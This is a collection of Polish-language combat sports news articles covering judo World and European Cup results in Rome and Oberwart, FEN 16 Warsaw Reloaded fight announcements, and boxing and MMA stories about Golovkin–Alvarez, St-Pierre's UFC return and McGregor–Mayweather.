Niesieni dobrym występem Piotra Kuczery w Rzymie liczymy, że i tym razem biało-czerwoni wysuną się na pierwszy plan. Można powiedzieć, iż brązowy medalista ubiegłorocznych mistrzostw Europy z Kazania dał sygnał do ataku. Zatem trzeba iść za ciosem. Nie ma, co ukrywać, że wśród naszych nie brakuje judoków, którzy są w stanie przeprowadzić szturm. Na pierwszy plan wysuwa się Arleta Podolak, która zajmuje 21. miejsce w światowym zestawieniu. Dobra postawa 23-latki zaowocowała jej wyjazdem na Igrzyska Olimpijskie w Rio de Janeiro. W ubiegłym roku Podolak wygrała zawody w Warszawie i Ałamtach. Tym razem Polka nie zaliczyła udanego wejścia w sezon. O starcie w Paryżu Podolak będzie chciała jak najszybciej zapomnieć. W stolicy Francji stoczyła zaledwie jedną walkę, lepsza od Polki okazała się Kubanka Alisuka Ojeda. Zatem nadarza się okazja do rewanżu i poprawy osiągniętego wyniku.

W tej samej kategorii wagowej, co Podolak zaprezentuje się Julia Kowalczyk. Młoda, obiecująca judoczka przeciera szlaki na poziomie seniorskim. W ubiegłym roku zdobyła brązowy medal mistrzostw Europy juniorek. Tegoroczne starty zainaugurowała w Sofii, gdzie po obiecującym starcie i wygranej, przegrała z Francuzką Sara Harachi. Czas na kolejne doświadczenie i zwycięstwa. Wiele można obiecywać sobie po starcie Agaty Perenc. 37. zawodniczka światowego rankingu startowała w tym roku w Sofii, jednak odpadła w drugiej rundzie. Blisko rok temu zajęła piąte miejsce w Warszawie. Może ponownie końcówka lutego będzie udana dla Perenc.

Agata Ozdoba ma za sobą wiele zdrowotnych przygód. W ubiegłym roku walczyła z czasem, żeby wystartować w mistrzostwach Europy i udało się. Występ zakończył się sukcesem w postaci tytułu najlepszej reprezentacji Starego Kontynentu. Formę potwierdziła w jesiennych  występach. Tegoroczne starty Ozdoba rozpocznie w Dusseldorfie. W Niemczech rywalizowała dwa lata temu, ale w drugiej rundzie zakończyła udział w imprezie.

Nowe doświadczenie

Doskonale pamiętamy start Pawła Zagrodnika w Igrzyskach Olimpijskich w Londynie. Kolejne dwa lata były dobre w jego wykonaniu, jednak ostatnio przygasł. Teraz postanowił zmienić kategorię i występuje w wadze 73kg. W Pucharze Polski w Mysiadle doświadczony Zagrodnik zajął drugie miejsce. Teraz czas na pierwszy międzynarodowy test. 

W Dusseldorfie wystartuje również Łukasz Błach.

KM

Ihar Kamkou rywalem Marcina Szredera na gali FEN 16 Warsaw Reloaded

Marcin Szreder już wie, z kim będzie walczyć na gali FEN 16 Warsaw Reloaded. Zdobywca Pucharu Europy WAKO w K-1 i low kick 11 marca na Torwarze zmierzy się z ambitnym Białorusinem Iharem Kamkou, który zadebiutuje w organizacji Fight Exclusive Night.

Marcin Szreder, chociaż niedawno świętował czterdzieste urodziny, a kick-boxing traktuje jako odskocznię od prowadzenia interesów, to wciąż należy do najgroźniejszych zawodników w swojej kategorii wagowej. Słynący z twardej, nieustępliwej postawy w ringu fighter klubu Palestra Warszawa to m.in. zdobywca Pucharu Europy WAKO w K-1 i Pucharu Europy WAKO w kickboxingu low-kick oraz złoty medalista Polish Open. Wielokrotnie stawał też na różnych stopniach podium kickbokserskich mistrzostw Polski. Na zawodowych arenach Szreder stoczył dotąd 5 walk, z których czterokrotnie wychodził zwycięsko. W klatkoringu Fight Exclusive Night debiutował na gali FEN 11 Warsaw Time, bez problemu pokonując na punkty Turka z niemieckim paszportem Aytaca Yahsiego. Z kolei w drugim swoim występie podczas FEN 13 Summer Edition wspólnie z Arturem Bizewskim zafundowali kibicom zażartą kickbokserską wojnę, w której zwycięstwo większościową decyzją sędziów przypadło jego rywalowi.

28-letni Ihar Kamkou jest reprezentantem stołecznego klubu Evrica Mińsk. Waleczny, odważnie idący na wymiany ciosów i kopnięć białoruski kickbokser ma większe od Szredera doświadczenie w zawodowym K-1 – stoczył dotychczas 25 walk, wygrywając 17 pojedynków. W ostatnich miesiącach dwukrotnie występował w Polsce, w obu przypadkach biorąc na ostatnią chwilę zastępstwo za niezdolnych do walki innych zawodników. W grudniu 2015 roku Kamkou na gali Makowski Fighting Championship 9 w Nowej Soli decyzją sędziów uległ Marcinowi Bodnarowi, a w listopadzie ubiegłego roku na gali Celtic Gladiator 11 w Krakowie przez techniczny nokaut przegrał z mistrzem FEN Tomaszem Sararą. 11 marca na Torwarze Białorusin zadebiutuje w klatkoringu Fight Exclusive Night.

W drugim już ogłoszonym  pojedynku na zasadach K-1 podczas FEN 16 Warsaw Reloaded zmierzą się Artur Bizewski z Arkadiuszem Wrzoskiem. Gala na Torwarze będzie także okazją do debiutu w organizacji FEN Radosława Paczuskiego. W walce wieczoru w formule MMA zmierzą się 11 marca niepokonany od blisko 4 lat Kamil „Bomba” Łebkowski z Brazylijczykiem Gabrielem „Gabito” Silvą, którego z narożnika będzie wspierał starszy, walczący w UFC brat Erick Silva. Kibice obejrzą też m.in. pojedynki MMA Michała Oleksiejczuka z Włochem Riccardo Nosiglią, Kamila Gniadka z Łukaszem Stankiem, Pawła Pawlaka z Ireneuszem Szydłowskim oraz Arkadiusza Medyńskiego z Sebastianem Kotwicą.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Są blisko porozumienia

Oczami wyobraźni miłośnicy boksu widzą walkę Giennadija Gołowkina i Saula Alvareza. Nie musi to być wyłącznie marzenie. Prawdopodobnie do hitowego starcia miałoby dojść we wrześniu w Las Vegas.

Obaj pięściarze są jak maszyny, które zostały zaprogramowane na wygrywanie. Gołowkin to klasa sama w sobie, z kolei Alvarez, mimo młodego wieku, dał już pokaz ogromnych umiejętności.

Ostatnia prosta

Dobra postawa Gołowkina w ringu sprawiła, że wielu obserwatorów uważa go za najlepszego pięściarza na świecie. Niedawno takie opinie nie były powszechne. Co prawda, bokser z Kazachstanu wygrywał, ale zwracano uwagę, że gromił pięściarzy drugiego sortu. Jednak po wygranej z Danielem Geale'm w 2014 roku głosy krytyków ustały. Kazach w trzeciej rundzie znokautował mocnego rywala. Wystarczy zerknąć na bilans 34-latka, żeby uznać, że z jego pięściami nie ma żartów. Aż 33 z 36 walk wygrał przed czasem i absolutnie dominuje w wadze średniej, jest posiadaczem pasów WBA, WBC, IBF i IBO.

Z kolei Saul Alvarez to nadal młody, gniewny i żądny sukcesów pięściarz. Na karku ma 26 wiosen, ale może pochwalić się imponującym bilansem – stoczył już 48 zwycięskich walk, z których 34 wygrał przed czasem. Przegrał tylko raz. W walce okrzykniętej wielkim hitem, 14 września 2013 roku, uległ na punkty legendarnemu Floydowi Mayweatherowi Jr. Od tamtego czasu gromi wszystkie przeszkody. Choć przy okazji wygranej walki z Miguelem Cotto pojawiły się wątpliwości. Portorykańczyk mądrze realizował taktykę, ale sędziowie uznali, że lepszy był Meksykanin. W kolejnych dwóch starciach, z Amirem Khanem i Liamem Smithem, wątpliwości nie było. Alvarez nie miał litości dla rywali i posłał ich na deski.

Wyraźnie widać, że obaj pięściarze imponują siłą, precyzją i skutecznością. Gołowkin opanował wagę średnią, Alvarez ma pas WBA kategorii lekkośredniej. Trudno się więc dziwić, że zaczęły się spekulacje na temat walki Kazacha i Meksykanina. Kiedyś celem wielu pięściarzy był Mayweather Jr., teraz każdy chce pokonać Gołowkina. Alvarez przegrał z Amerykaninem, czy dane będzie mu pokonać Kazacha? Najpierw musi dojść do podpisania umowy na walkę, a to wydaje się bardzo prawdopodobne. – Jesteśmy blisko porozumienia, ale nie jesteśmy dogadani. Rozmowy prowadzone są od dłuższego czasu, bo chodzi o dużą walkę. Wszystko idzie w dobrą stronę – powiedział Eric Gomez z grupy Golden Boy Promotions. 

Najbliższe wyzwania

Na potwierdzenie hitowego starcia trzeba poczekać, jednak pięściarze nie próżnują. 18 marca w Madison Square Garden Gołowkin zmierzy się z Danielem Jacobsem. 30-letni Amerykanin to również ringowy dominator. 29 z 32 wygranych walk zakończył przed czasem, przegrał tylko jedno starcie.

Z kolei Alvarez w maju zmierzy się z Julio Cesarem Chavezem Jr. Blisko dwa lata temu Meksykanin przegrał z Andrzejem Fonfarą. Później wygrał dwie walki i teraz sprawdzi możliwości Alvareza. Chavez Jr. dolewa oliwy do ognia i wyraża wątpliwości względem walki swojego najbliższego rywala z Gołowkinem. Jego zdaniem Alvarez miałby… bać się Kazacha.

KM

Kuczera na szczycie w Rzymie

Wieczne Miasto szczęśliwe dla Piotra Kuczery (90kg). Brązowy medalista mistrzostw Europy z Kazania wygrał zawody Pucharu Europy w Rzymie. Blisko podium był Jakub Kubieniec (81kg). Z kolei w Oberwart, gdzie rywalizowały panie na piątej pozycji uplasowała się Ewa Konieczny (48kg).

Biało-czerwoni ruszyli w świat. Z Rzymu i Oberwart wracają z jednym medale, ale za to z tym z najcenniejszego kruszcu. 

Rzym zdobyty

Rzym był wielki, Rzym był potężny, ale w końcu nadszedł jego kres. Najazdy ludów barbarzyńskich i problemy wewnętrzne sprawiły, że państwo upadło w 476 roku. Rzym nadal jest miastem wyjątkowy, które chętnie odwiedzają turyści i podziwiają jego urok. Stolica Italii jest również areną sportowej rywalizacji. W miniony weekend do Rzymu zawitali judocy w liczbie 257.

Przed startem zawodów pisaliśmy, że na przestrzeni ostatnich miesięcy nasi judocy byli tłem dla płci pięknej. Wyjątkiem był Piotr Kuczera, który prezentował równą dyspozycję i zdobył brąz mistrzostw Europy. Można powiedzieć, że wbiliśmy panom małą szpileczkę i nieco zmobilizowaliśmy. Ktoś powie, że „wjechaliśmy panom na ambicję”, ale będzie to nadużycie. Po prostu troszczymy się o nasze judo i dobrego tego sportu leży nam na sercu. Do rzeczy, Piotr Kuczera (90kg) wraca z Rzymu w glorii chwały. Zawodnik z Rybnika w finale przez ippon pokonał Turala Safguliyeva. Łącznie Polak wygrał pięć pojedynków. 

Z dobrej strony w stolicy Włoch pokazał się Jakub Kubieniec (81kg). Polski judoka zaczął turniej od wygranych z Marcelem Ottem i Samim Chouchim. W trzecim starciu uległ późniejszemu triumfatorowi zawodów – Eduardo Yudi Santosowi. Kubieniec wygrał walkę repasażową, ale w starciu o brąz lepszy okazał się Sotaro Fujiwara. Polak zakończył rywalizację na piątej lokacie.

Również na miejscu punktowym uplasował si Patryk Ciechomski (90kg), który był siódmy. Po dwóch wygranych przyszła porażka z… Piotrem Kuczerą. Po ponad trzech minutach 21-latek cieszył się ze zwycięstwa. Ciechomskiemu pozostały repasaże, jednak tam lepszy okazał się Louis Krieber Gagnon.

O krok od podium

Panie w liczbie sześciu pojechały na zawody do Oberwart. Na starcie pojawiło się łącznie 151 zawodniczek. Spośród reprezentantek Polski najlepiej wypadła Ewa Konieczny (48kg), która wywalczyła piąte miejsce. W pierwszej walce w półtorej minuty Polka uporała się z Lillą Erdelyi, jednak w kolejnej musiała uznać wyższość Yujeong Kang. Konieczny musiała rywalizować w repasażach, gdzie przez ippon uporała się z Sabiną Giliazovą, jednak w starciu o brąz przed czasem przegrała z Francuzką Marine Lhenry.

Dwie walki wygrała Karolina Tałach (63kg), co dało jej siódmą pozycję. Na jej drodze do walki o medale stanęły Yanka Pascoalino i Lindsay Tsang Sam Moi. Anna Załęczna (+78kg) zanotowała jedno zwycięstwo i dwie porażki, w efekcie czego została sklasyfikowana na siódmym miejscu.

KM

Szykuje się wielki powrót St-Pierre’a!

Po ponad trzech latach Georges St-Pierre wraca do UFC. 35-letni Kanadyjczyk podpisał umowę z najlepszą organizacją MMA na świecie i czeka na wyzwania. Jedni wracają, a inni rezygnują. Valerie Letourneau podjęła decyzję o zawieszeniu kariery.

Fani mieszanych sztuk walki już zacierają ręce i czekają, kiedy nastąpi długo wyczekiwany powrót St-Pierre'a, a przede wszystkim – kto będzie jego rywalem.

Powrót mistrza

O tym, że podpisanie przez St-Pierre'a umowy z UFC jest wydarzeniem nikogo przekonywać nie trzeba. Ponad trzy lata temu 35-letni fighter zawiesił karierę zawodniczą, choć nadal prezentował wysoką formę i odprawiał kolejnych rywali. Przez lata Kanadyjczyk był czołową postacią wagi półśredniej. Mistrzostwo UFC zdobywał dwukrotnie. W listopadzie 2006 roku pokonał Matta Hughesa, ale w pierwszej obronie stracił pas na rzecz Matta Serry. Po roku tytuł wrócił do St-Pierre'a, który wyrównał rachunki z Amerykaninem. Serra przegrał w drugiej rundzie. St-Pierre dziewięć razy skutecznie bronił pasa i zrobił sobie przerwę. Warto dodać, że w trakcie kariery miewał problemy zdrowotne. W grudniu 2011 roku mistrz UFC zerwał więzadła w kolanie i pauzował dziesięć miesięcy. Dla wielu kibiców i obserwatorów stał się ikoną MMA.  Z niecierpliwością czekali, kiedy ponownie będą mogli podziwiać Kanadyjczyka. 

Powrót St-Pierre'a dostarcza wielu emocji, ale także rodzi kolejne pytania. Radości nie ukrywa prezes UFC Dana White. – Jestem podekscytowany. Pracowaliśmy nad tym długo i w końcu udało się – mówił w rozmowie z Los Angeles Times. Wykonano pierwszy krok, jednak w sprawie pierwszej walki St-Pierre'a po dłuższej przerwie nic nie wiadomo. Brak terminu, brak rywala. Jednak… Pojawiają się głosy, że Kanadyjczyk mógłby rywalizować w aż trzech kategoriach wagowych: średniej, półśredniej i lekkiej.

Nie brakuje wątpliwości, co do dyspozycji 35-latka. Czy będzie w stanie rywalizować na najwyższym poziomie? Mimo przerwy, St-Pierre nie odpuścił aktywności i nadal trenował, choć z mniejszym natężeniem. Jego ogromne umiejętności i doświadczenie wyniesione z karate kyokushin, zapasów, boksu, jiu-jitsu sprawiają, że nadal jest groźny. W ostatnim czasie St-Pierre podnosił… umiejętności aktorskie. Można było go zobaczyć w takich produkcjach jak: Kapitan Ameryka: Zimowy Żołnierz czy Kickboxer: Vengeance.

Nowy etap?

Ponad rok temu 33-letnia rodaczka St-Pierre'a, Valerie Letourneau rywalizowała z Joanną Jędrzejczyk o pas mistrzowski w wadze słomkowej. Po pięciorundowym boju musiała uznać wyższość Polki. Dla Kanadyjki była to pierwsza porażka w UFC, ale od tego momentu zaliczyła spadek formy. Przegrała dwie kolejne walki.

Letourneau postanowiła odpocząć od MMA. Na instagramie podziękowała UFC za przygodę i spełnienie marzeń. Zaznaczyła, że nadszedł czas na przemyślenia, co do dalszych planów.

Warto dodać, że Kanadyjka jest kolejną zawodniczką UFC, której kariera znalazła się na zakręcie. W ostatnim czasie dużo mówi się o zakończeniu przygody z MMMA przez Rondę Rousey. Na grudniowej gali UFC Amerykanka wytrzymała w oktagonie z Amandą Nunes zaledwie 48 sekund.

KM

Katarzyna Lubońska zawalczy na kwietniowej gali LFN!

Jedna z najbardziej utalentowanych zawodniczek w Polskim MMA Katarzyna Lubońska wraca do klatkoringu. Tym razem zobaczymy ją w barwach Ladies Fight Night podczas kwietniowej gali żeńskiej organizacji.

Katarzyna Lubońska swoją zawodową karierę w MMA rozpoczęła niecałe 3 lata temu. Piękna i utalentowana zawodniczka szybko skradła serca fanów sportów walki. Ma na swoim koncie cztery zwycięstwa i dwie porażki. Ostatnią walkę, którą Lubońska przegrała na punkty, stoczyła podczas KSW 36 a jej przeciwniczką była Diana Belbita.

„Cieszymy się, że dzięki dobrej współpracy LFN z KSW, Katarzynę Lubońską będziemy w tym roku oglądać w barwach Ladies Fight Night. Zawodniczka otrzymała roczną zgodę od KSW na współpracę z naszą organizacją. To dobrze rokuje na przyszłość i jesteśmy dumni, że nasz LFN Team powiększył się o tak utalentowaną zawodniczkę MMA.” – mówi Łukasz Chmal, prezes Ladies Fight Night.

Kasia już w najbliższych dniach dołączy do LFN Team i weźmie udział w obozie sparingowym organizacji, który odbędzie się w legendarnym klubie Mike’s Gym, otwartym dla wszystkich pragnących doświadczyć treningu na światowym poziomie, w obecności mistrzów. Autorem tego projektu jest charyzmatyczny Mike Passenier. To właśnie pod okiem jego i innych wykwalifikowanych trenerów, najzdolniejsze fighterki z Polski będą przez tydzień (20-26 lutego) szlifować umiejętności przed planowaną na początek kwietnia, kolejną emocjonującą galą LFN.

Przeciwniczką Katarzyny Lubońskiej (4-2-0) będzie finka Vuokko Katainen (3-3-1), która po półtorarocznej przerwie wraca do klatkoringu z ogromnym głodem zwycięstwa. Zawodniczka przeszła operację barku, długą rehabilitację i jak sama mówi jest dziś lepszą fighterką niż przed kontuzją. Przypomnijmy, że zawodniczka z Finlandii w 2013 roku wygrała walkę z Sylwią Juśkiewicz, dziś walczącą w LFN Team.

Piąta gala Ladies Fight Night odbędzie się w Poznaniu i jest planowana na sobotę, 8 kwietnia. Wkrótce więcej szczegółów!

Zaczęła się bitwa na słowa…

Gdyby było cicho, to nic by z tego nie wyszło. A czy wyjdzie? To się dopiero okaże, ale wyraźnie widać, że Conor McGregor i Floyd Mayweather Jr. nie są sobie obojętni. Oczywiście w sensie sportowym.

Z każdym dniem balon robi się coraz większy i musi w końcu pęknąć. Takiego pojedynku świat jeszcze nie widział. Mayweather Jr. w boksie osiągnął wszystko, odniósł także sukces finansowy, z kolei McGregor to charyzmatyczny wojownik UFC, który posiada pas w wadze lekkiej. Powoli zadajemy sobie pytanie, kiedy dojdzie do tej walki.

Ruszyła machina

Jeszcze kilka miesięcy temu ktoś, komu przedstawiono by perspektywę takiej walki puknąłby się w czoło i odesłał nas do najbliższego psychiatry albo chociaż do farmaceuty. Mayweather siedział sobie wygodnie na emeryturze, kiedy McGregor wyzwał go do tablicy. Showman z Irlandii chce stanąć na wprost Amerykanina i odnieść pewne zwycięstwo. 

W listopadzie McGregor pokonał Eddiego Alvareza i po raz kolejny podtrzymał swój apel. Zwrócił uwagę, że jest gotowy na rywalizację bokserską, bo Mayweather boi się „czystej walki”. Oczywiście McGregor zażądał odpowiedniej gaży – 100 milionów złotych.

Było jasne, że zawodnik UFC jest swego rodzaju prowokatorem i czeka na ruch Mayweathera. W końcu „wywołał wilka z lasu”. Niepokonany na zawodowym ringu „Money” jasno przedstawił swoje stanowisko. Podkreślał, że jest legendą boksu i prosił o nieporównywanie go do McGregora. Irlandczyk nie dawał za wygraną, otrzymał licencją bokserską stanu Kalifornia i nie szczędził cierpkich słów Amerykaninowi.

Temat jest ciągle żywy, ale konkretów brak. Powszechnie wiadomo, że McGregor zrobi wszystko, aby nakręcić zainteresowanie i wybić się na pierwszy plan. Z kolei Mayweather jest gwarancją sukcesu finansowego. Jak wiadomo, „do tanga trzeba dwojga”. Irlandczyk zrobił wiele, aby wytworzyć odpowiedni klimat i postawił „Moneya” pod ścianą. Jednak Mayweather to stary lis i na wszystko jest gotowy. Nie wykluczył starcia z McGregorem. – Jeśli chcesz tej walki, to ustal wszystko ze swoimi ludźmi z UFC. Potem zadzwońcie do mnie, twoja ekipa ma mój numer – krótko skwitował sprawę Amerykanin.

Tym samym Mayweather ukrócił doniesienia, wedle których zakontraktowanie walki jest o krok. McGregor nie ukrywa, że jest zdeterminowany, żeby spotkać się z byłym mistrzem WBC, WBA i WBO wagi półśredniej. – Nikt nie może mnie powstrzymać przed tą walką. Nie ucieknie przed czas, ma 40 lat. Jego główka jest malutka, a moja pięść większa niż jego głowa – powiedział Irlandczyk.

Przygotować grunt

Wygląda to trochę jak gra w kotka i myszkę. Rola McGregora sprowadza się do wzbudzenia zainteresowania, powoli do akcji wkracza Mayweather, zainteresowanie rośnie, cały świat czeka…

Wydaje się, że z każdym dniem walka byłego boksera i mistrza UFC staje się coraz bardziej realna. Mayweather nic nie musi, bo jest marką samą w sobie. Dlatego całą robotę musi wykonać McGregor. Stara się jak może, żeby ewentualna walka wzbudzała ogromne emocje i odbiła się szerokim echem. Coraz więcej osób przeświadczonych jest o tym, że to Irlandczykowi odbija. Po prostu McGregor potrzebuje Mayweathera do… sukcesu sportowego, a może w głównej mierze – finansowego.

KM

Santana rywalem Shamaeva na FEN 16 Warsaw Reloaded

Doświadczony Brazylijczyk Shely „Pilao” Santana będzie 11 marca na gali FEN 16 Warsaw Reloaded na Torwarze przeciwnikiem debiutującego w organizacji Fight Exclusive Night oraz w nowej kategorii wagowej czeczeńskiego wojownika Arbiego Shamaeva.

Shely „Pilao” Santana dos Santos (30 lat, 162 cm, 9-5, 3 KO, 2 SUB) pochodzi z Brazylii, ale od kilku lat mieszka i trenuje w Holandii. Początkowo trenował capoeirę, później także muay thai i brazylijskie jiu-jitsu, a dziś oprócz MMA profesjonalnie uprawia też kick-boxing. Obecnie walczy w wagach muszej i koguciej, ale na początku kariery zdarzało mu się rywalizować – i zwyciężać – także w wyższych kategoriach wagowych. W zawodowym MMA debiutował w 2009 roku, wygrywając sześć walk z rzędu na lokalnych galach w Argentynie i Brazylii. Dzięki tej serii zwycięstw dostał szansę występów na arenach najważniejszych w swojej ojczyźnie organizacji Jungle Fight i Shooto Brazil, w których miał okazję walczyć m.in. z Marcosem „Loro” Galvao, obecnym zawodnikiem Bellator MMA. Na gali FEN 16 Warsaw Reloaded powalczy o swoje pierwsze zwycięstwo w Europie, bowiem w dwóch wcześniejszych walkach na Starym Kontynencie musiał uznać wyższość rywali – w 2015 roku w walce wieczoru gali Vote MMA 3 w niemieckim Rheine uległ na punkty Rumunowi Florinowi Gardanowi, a dwa miesiące temu w main evencie gali Night of Masters 10 w Pradze przegrał przed czasem z najlepszym czeskim zawodnikiem wagi muszej Davidem Dvorakiem.

Dla Arbiego Shamaeva (26 lat, 172 cm, 8-3, 5 SUB, 1 KO) starcie z Shelym Santaną na marcowej gali FEN 16 Warsaw Reloaded będzie podwójnym debiutem – w klatkoringu Fight Exclusive Night i w nowej dla niego kategorii koguciej, do której zszedł z wagi piórkowej. Mieszkający na stałe w Warszawie fighter z Groznego to dwukrotny mistrz Polski w amatorskim MMA i zwycięzca mistrzostw Polski w grapplingu. Pierwszą zawodową walkę MMA stoczył w 2011 roku. Dziś ma na swoim koncie 11 walk, z który aż osiem wygrał, raz nokautując i pięciokrotnie poddając rywali. Podopieczny trenera Roberta Jocza za swój najlepszy występ w karierze uważa zwycięski pojedynek z Helsonem Henriquesem. Shamaev wygrywał też z takimi zawodnikami, jak Łukasz Grochowski, Białorusin Semen Tyrlya i Tomasz Zawadzki – pokonując tego ostatniego, zdobył w 2014 roku pas mistrza federacji 3F.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w Warszawie. W walce wieczoru gali na Torwarze zmierzą się Kamil Łebkowski z Brzylijczykiem Gabrielem Silvą, a w walce o pas w wadze średniej Paweł Żelazowski będzie walczył z Kamilem Gniadkiem. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Ireneusza Szydłowskiego i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Karol Zyra kontra Adrian Kurek na otwarcie gali FEN 16 Warsaw Reloaded

Mistrz Polski służb mundurowych w MMA Karol Zyra z Championa Ostrołęka oraz doświadczony Adrian Kurek z klubu Forca Dęblin MMA zmierzą się 11 marca w jednej z pierwszych walk gali FEN 16 Warsaw Reloaded na stołecznym Torwarze. Dla obu zawodników będzie to debiut w klatkoringu Fight Exclusive Night.

Karol Zyra (30 lat, 175 cm, 3-0) to przede wszystkim złoty medalista mistrzostw Polski służb mundurowych i brązowy medalista mistrzostw Wojska Polskiego w MMA. Perspektywiczny zawodnik klubu Champion Ostrołęka, którego sportem bazowym jest kick-boxing, doświadczenie w mieszanych sztukach walki zbierał głównie podczas zawodów amatorskich – na tym poziomie rywalizacji stoczył 42 pojedynki, wygrywając przed czasem połowę z nich. Z kolei jako zawodowiec Zyra jest niepokonany – w trzech walkach na galach Sparta i Kurpiowskiej Kuźni Mistrzów pokonał kolejno Radosława Makowskiego, Karola Kurka i Białorusina Mansura Azerbieva.

Adrian „Rudy” Kurek (34 lata, 174 cm, 4-2) to jeden z najbardziej znanych zawodników i trenerów amatorskiego MMA w Polsce – jego podopieczni wielokrotnie zdobywali medale Amatorskiej Ligi MMA. Reprezentant klubu Forca Dęblin MMA na zawodowych arenach rywalizuje od 2012 roku. W ciągu niespełna półtora roku stoczył pięć walk, w których odniósł trzy zwycięstwa przed nokaut, ale nieźle rozwijającą się karierę pokrzyżował mu poważny uraz kolana. W marcu ubiegłego roku „Rudy” powrócił jednak do gry – przed własną publicznością w Dęblinie duszeniem zza pleców poddał Damiana Majewskiego, potwierdzając, że jest w świetnej formie, a po kontuzji nie ma śladu.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w stolicy Polski. W walce wieczoru gali na Torwarze zmierzą się Kamil Łebkowski z Brzylijczykiem Gabrielem Silvą, a w walce o pas w wadze średniej Paweł Żelazowski będzie walczył z Kamilem Gniadkiem. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Arbiego Shamaeva i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Polacy ruszają do boju

Czas na kolejną odsłonę zmagań w judo. W najbliższy weekend, 18-19 lutego, w pucharowych turniejach w Oberwarcie i Rzymie w akcji zobaczymy 18 zawodniczek i zawodników z Polski.

Dotychczas judocy rywalizowali w Pucharach Świata w Sofii i Odivelas, jednak odpadli na początku zmagań. W ubiegłym tygodniu w Grand Slam w Paryżu zaprezentowała się Arleta Podolak (57kg), ale pożegnała się z turniejem po pierwszej walce. Liczymy, że w najbliższych startach biało-czerwoni dadzą o sobie znać.

Austria czeka na panie

W Oberwart wystąpi sześć naszych zawodniczek: Ewa Konieczny (48 kg), Anna Borowska (57 kg), Karolina Tałach (63 kg), Beata Pacut, Paula Kułaga (obie 78 kg) i Anna Załęczna (+78 kg). Większość z nich mogliśmy podziwiać w zmaganiach Puchar Polski w Mysiadle. Konieczny, Borowska, Kułaga i Załęczna wygrały rywalizację w swoich kategoriach wagowych. Z kolei Karolina Tałach przegrała w finale z Dominiką Błach. 

Zawody w Mysiadle były dobrym przygotowaniem do startu w Oberwart. Teraz wypada, żeby nasze judoczki, wśród których są mistrzynie Europy w drużynie zabłysnęły na arenie międzynarodowej. W poprzednim sezonie doświadczona Ewa Konieczny dwukrotnie stawała na podium pucharowych zmagań. Dobry początek 2016 roku miała Anna Borowska. Judoczka KS „Kejza Team” Rybnik była trzecia w Pucharze Europy w Warszawie i wygrała turniej w Sarajewie. Kolejne starty wyglądały różnie, ale mistrzyni Starego Kontynentu juniorów 2014 ma spore możliwości. Tak jak i Karolina Tałach, która odpaliła w poprzednim roku. 24-latka zwyciężyła Grand Prix w Zagrzebiu i stawała na podium w Rzymie i Tallinie. 

Coraz śmielej w rywalizacji seniorskiej poczyna sobie Beata Pacut. 21-letnia judoczka zaimponowała zwycięstwem w Warszawie, a rok zakończyła siódmą lokatą na mistrzostwach Europy U23. W tym sezonie powinna zrobić kolejny krok w rozwoju. Szansę zaprezentowania się na poziomie seniorskim dostanie Paula Kulaga. W 2016 roku wyróżniała się w rywalizacji juniorek.   W Oberwart kolejne doświadczenie zdobędzie również wicemistrzyni Europy juniorek z 2015 roku Anna Załęczna.

Panowie w Wiecznym Mieście

Mówi się, że „wszystkie drogi prowadzą do Rzymu”. W najbliższy weekend do stolicy Włoch zawitają judocy, którzy będą rywalizować o punkty w turnieju Pucharu Świata. Na tatami w Rzymie zaprezentuje się dwunastu reprezentantów Polski: Aleksander Beta, Patryk Wawrzyczek, Michał Bartusik, Maciej Zacheja (wszyscy 66 kg), Mateusz Garbacz, Wiktor Mrówczyński, Jacek Brysz (wszyscy 73 kg), Jakub Kubieniec (81 kg), Piotr Kuczera, Patryk Ciechomski (obaj 90 kg), Mariusz Krueger i Kamil Niedziela (obaj 90 kg).

Najwyżej stoją akcje 21-letniego judoki z Rybnika. Piotr Kuczera to brązowy medalista ubiegłorocznych mistrzostw Europy. W przekroju 2016 roku przyzwoicie prezentował się Patryk Ciechomski, który regularnie punktował. Pozostali nasi judocy notowali przeciętne wyniki.

KM

Stanek zamiast Żelazowskiego na gali FEN 16 Warsaw Reloaded

Paweł Żelazowski z powodu kontuzji kręgosłupa musiał wycofać się z pojedynku o wakujący pas Fight Exclusive Night w kategorii półśredniej podczas gali FEN 16 Warsaw Reloaded. W walce z Kamilem Gniadkiem, która nie będzie mieć statusu mistrzowskiej, zawodnika Dzikiego Wschodu Biała Podlaska zastąpi młody prospekt Łukasz Stanek.

Dla Łukasza Stanka (22 lata, 182 cm, 3-2) będzie to druga walka w organizacji Fight Exclusive Night – debiutował w świetnym stylu jesienią ubiegłego roku podczas gali FEN 14 Silesian Rage w rodzinnych Katowicach. Zawodnik miejscowego klubu MMAtadores efektowną balachą na kolano w drugiej rundzie pokonał tego wieczora Adriana Błeszyńskiego, nie tylko dopisując trzecie zawodowe zwycięstwo do swego rekordu, ale też zdobywając bonus za poddanie wieczoru. Utalentowany podopieczny trenera Tomasza Jeruszki wcześniej zwrócił na siebie uwagę kibiców sportów walki, zajmując w 2011 roku drugie miejsce w 10. Międzynarodowym Turnieju Hadaka Waza i zwyciężając rok później w Otwartych Mistrzostwach Świata Kong Sao w formule MMA.

